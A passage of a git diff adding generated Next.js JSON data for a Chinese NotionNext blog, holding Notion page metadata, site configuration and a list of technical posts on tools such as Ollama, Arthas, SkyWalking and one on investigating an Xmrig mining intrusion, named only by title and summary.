参考文章"]]},"format":{"copied_from_pointer":{"id":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0"}},"8624876d-b0bf-44d3-86a2-34e832f77ea9":{"value":{"id":"8624876d-b0bf-44d3-86a2-34e832f77ea9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"36b41a1b-fc54-402f-935e-51a74d106e67","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"36b41a1b-fc54-402f-935e-51a74d106e67"}},"f2398279-7337-415d-92de-ce76a1245c9f":{"value":{"id":"f2398279-7337-415d-92de-ce76a1245c9f","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"993e122a-d075-4c01-a170-e2a565684ac1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"993e122a-d075-4c01-a170-e2a565684ac1"}},"d858f147-752b-4fd7-a931-6e270a7b7f98":{"value":{"id":"d858f147-752b-4fd7-a931-6e270a7b7f98","type":"text","format":{"copied_from_pointer":{"id":"ec201c14-0045-4620-9550-234a18b291ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ec201c14-0045-4620-9550-234a18b291ed"}},"468c0bd8-9b86-4390-973c-a9ba199aa3b8":{"value":{"id":"468c0bd8-9b86-4390-973c-a9ba199aa3b8","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"ff80eebf-ace9-49e0-9075-065107f6ca1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ff80eebf-ace9-49e0-9075-065107f6ca1d"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example.json
new file mode 100644
index 000000000..baa887089
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"ca